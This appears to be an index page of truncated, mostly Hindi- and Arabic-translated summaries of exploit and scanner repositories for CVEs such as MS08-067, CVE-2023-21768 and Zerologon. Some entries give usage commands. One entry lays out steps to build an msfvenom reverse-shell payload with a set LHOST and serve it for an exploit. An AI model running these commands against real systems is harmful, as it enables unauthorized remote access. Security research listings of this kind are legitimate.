CVE-2023-21768-POC

CVE-2023-21768-POC CVE-2023-21768 Windows 11 22H2 सिस्टम लोकल प्रिविलेज एस्केलेशन POC उपयोग विधि: WindowsAFDLPECVE-2023-21768.exe जहाँ एलिवेट की जाने वाली प्रक्रिया का ID दशमलव है, जिसके परिणामस्वरूप लक्ष्य प्रक्रिया को SYSTEM अनुमतियों तक एलिवेट किया जाता है।...

Exploit_MS08-067

पूर्ण उपयोग गाइड: Exploit MS08-067 Mejorado 📌 बुनियादी उपयोग python3 ExploitMS08-067.py OPCIONES 🎯 व्यावहारिक उदाहरण 1. Windows XP SP0/SP1 डिफ़ॉल्ट पोर्ट 445 python3 ExploitMS08-067.py 192.168.1.100 1 2. Windows 2003 SP1 English पोर्ट 139 python3 ExploitMS08-067.py 192.168.1.150 4 -p 139 3...

Windows-exploitation-BadBlue-2.7-CVE-2007-6377

इस रिपॉजिटरी में README नहीं है।...

Etern-blue-Windows-7-Checker

فاحص Eternalblue SMB1 لنظامي Windows7/10 تم التحديث وأصبح يكتشف الآن Windows 7 وكذلك الإصدارات القديمة من Windows 10 التي تدعم SMB 1. لقد نفذت SMB 1 فقط، وأي خادم SMB 2 تجربه عليه سيعيد "not vulnerabile". لقد بحثت في بنية حزمة SMB1 وكيفية إنشائها بدلاً من الاعتماد على معلومات الحزمة. أضفت كودًا...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882/14883/14750 उपयोग 1. इस रिपॉजिटरी को क्लोन करें 2. requests लाइब्रेरी इंस्टॉल करें 3. python3 14882.py उदाहरण λ python3 14882.py -u http://...:7001 -c whoami + Command success result: win-t63ko18er74\administrator संदर्भ https://github.com/jas502n/CVE-2020-14882...

CVE-2024-1874

CVE-2024-1874 إثبات المفهوم لـ CVE-2024-1874 حقن الأوامر عبر معامل $command الشبيه بالمصفوفة في procopen تجاوز إصلاح CVE-2024-1874 الثغرة: في إصدارات PHP 8.1. قبل 8.1.29، و8.2. قبل 8.2.20، و8.3. قبل 8.3.8، لا يعمل إصلاح CVE-2024-1874 إذا كان اسم الأمر يتضمن مسافات لاحقة. المشكلة الأصلية: عند...

CVE-2024-36991

CVE-2024-36991 विंडोज पर Splunk Enterprise में "/Modules/Messaging/" एंडपॉइंट पर पथ अनुरेखण Splunk Enterprise के 9.2.2, 9.1.5 और 9.0.10 से नीचे के संस्करणों में, एक हमलावर विंडोज पर Splunk Enterprise में /modules/messaging/ एंडपॉइंट पर पथ अनुरेखण कर सकता है। यह भेद्यता इसलिए मौजूद है क्योंकि Pyth...

CVE-2022-26810

CVE-2022-26809 RCE शोषण CVE विवरण CVE-2022-26809 - एक मुख्य Windows घटक RPC में कमजोरी जिसने बिना कारण के CVSS स्कोर 9.8 अर्जित नहीं किया, क्योंकि हमले के लिए प्रमाणीकरण की आवश्यकता नहीं है और इसे नेटवर्क पर दूरस्थ रूप से निष्पादित किया जा सकता है, और इसके परिणामस्वरूप RPC सेवा के विशेषाधिकारों क...

CVE-2025-0288

CVE-2025-0287 इस रिपॉजिटरी में एक असुरक्षित विंडोज ड्राइवर के रिवर्स इंजीनियरिंग के दौरान पहचाने गए असुरक्षित फंक्शन का स्क्रीनशॉट है। विवरण biontdrv.sysVul: असुरक्षित संस्करण biontdrv.sysSecure: पैच किया गया संस्करण POCCVE-2025-0288.c: प्रूफ-ऑफ-कॉन्सेप्ट कोड diff.png: असुरक्षित फंक्शन का...

CVE-2022-26937

विंडोज़ नेटवर्क फ़ाइल सिस्टम क्रैश PoC CVE-2022-26937 nt!KeBugCheckEx: fffff8038996efa0 48894c2408 mov qword ptr rsp+8,rcx ss:0018:ffffd000d589ae60=0000000000000139 1: kd !analyze -v Bugcheck Analysis KERNELSECURITYCHECKFAILURE 139 A kernel component has corrupted a critical data structure. The...

cve-2022-3218

चरण 1 — एक वास्तविक payload बनाएं Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe चरण 2 — payload को HTTP द्वारा serve करें उसी निर्देशिका में: python3 -m http.server 80 चरण 3 — exploit को समायोजित करें इस प्रकार चलाएँ: python3 CVE-2022-3218.py...

CVE-2022-21971

CVE-2022-21971: prauthproviders में अप्रारंभित पॉइंटर मुक्त मूल कारण WapAuthProvider::CreateInstance कंस्ट्रक्टर एक WapAuthProvider ऑब्जेक्ट 0x78 बाइट्स आवंटित और आरंभ करता है लेकिन यह अपनी स्थिति को पूरी तरह से आरंभ करने में विफल रहता है। ऑफसेट 0x50 पर पॉइंटर अप्रारंभित है और डिस्ट्रक्टर...

CVE-2025-5548-FreeFloat-FTP-Buffer-Overflow

CVE-2025-5548 — FreeFloat FTP Server 1.0 में Buffer Overflow भेद्यता विश्लेषण और शोषण प्रयोगशाला · एक्सप्लॉइट डेवलपमेंट · Windows x86 यह रिपॉजिटरी किस बारे में है? यह रिपॉजिटरी विंडोज के लिए FreeFloat FTP Server 1.0 में मौजूद CVE-2025-5548 भेद्यता के विश्लेषण और शोषण की प्रक्रिया का पूर्ण...

CVE-2023-21768

CVE-2023-21768 स्थानीय विशेषाधिकार वृद्धि POC लेखक: chompie और b33f केवल प्रदर्शन उद्देश्यों के लिए। पूरा एक्सप्लॉइट कमजोर Windows 11 22H2 सिस्टम पर काम करता है। Write primitive सभी कमजोर सिस्टम पर काम करता है। उपयोग: WindowsAFDLPECVE-2023-21768.exe जहाँ उस प्रक्रिया का प्रक्रिया आईडी दशमलव में ह...

RDGScanner

CVE-2020-0609 और CVE-2020-0610 के लिए स्कैनर RDP गेटवे सर्वर पर CVE-2020-0609 और CVE-2020-0610 भेद्यताओं की जाँच करने के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर। इस पर परीक्षण किया गया: Windows Server 2012 x64 Windows Server 2016 x64 Windows Server 2019 x64 अस्वीकरण मेमोरी भ्रष्टाचार भेद्यताओं के लिए...

cve-2024-4577

CVE-2024-4577 भेद्यता परीक्षण स्क्रिप्ट यह Python स्क्रिप्ट PHP की नवीनतम भेद्यता CVE-2024-4577 का निदान करने के लिए एक सरल PoC Proof of Concept उपकरण है। ⚠️ यह उपकरण सुरक्षा निदान उद्देश्यों के लिए प्रदान किया गया है और इसका उपयोग केवल आपके स्वामित्व वाले सिस्टम या पूर्व अनुमति प्राप्त लक्ष्यों प...

CVE-2026-107614

An integer underflow in WinCursorShapeUtils::trimTransparent in GlavSoft TightVNC Server for Windows before 2.8.88 allows a local authenticated user to crash the server, and potentially read out-of-bounds memory, by causing a cursor shape with a width or height of zero to be processed on the DXGI...

CVE-2026-107612

Incorrect permission assignment in GlavSoft TightVNC Server for Windows before 2.8.88 allows a local authenticated user to read or overwrite the inter-process communication handles used between the TightVNC service and its desktop server process. The named shared memory segment in the Global...

Microsoft-Defender-for-Endpoint-Deployment-on-Windows-10-11-device

यह रिपॉजिटरी Windows 11 डिवाइस पर Microsoft Defender for Endpoint की तैनाती का दस्तावेज़ीकरण करती है, जिसमें स्थानीय स्क्रिप्ट के माध्यम से ऑनबोर्डिंग, डिवाइस डिस्कवरी सक्षम करना, Log4j2 जांच CVE-2021-44228 कॉन्फ़िगर करना, और इंसिडेंट प्रतिक्रिया वर्कफ़्लो को मान्य करना शामिल है। मुख्य विशेषताएँ ...

Zerologon_CVE-2020-1472

ZerologonCVE-2020-1472 उद्देश्य इस भेद्यता अनुसंधान का उद्देश्य विंडोज सर्वर 2016 पर काली लिनक्स के माध्यम से एक Zerologon का अनुकरण करने के लिए एक नियंत्रित वातावरण स्थापित करना था, जिसका उपयोग पहचान और शमन के लिए किया जा सके। मुख्य फोकस एक भेद्यता प्रवेश penetration करना और डेस्कटॉप के उपयोगकर्...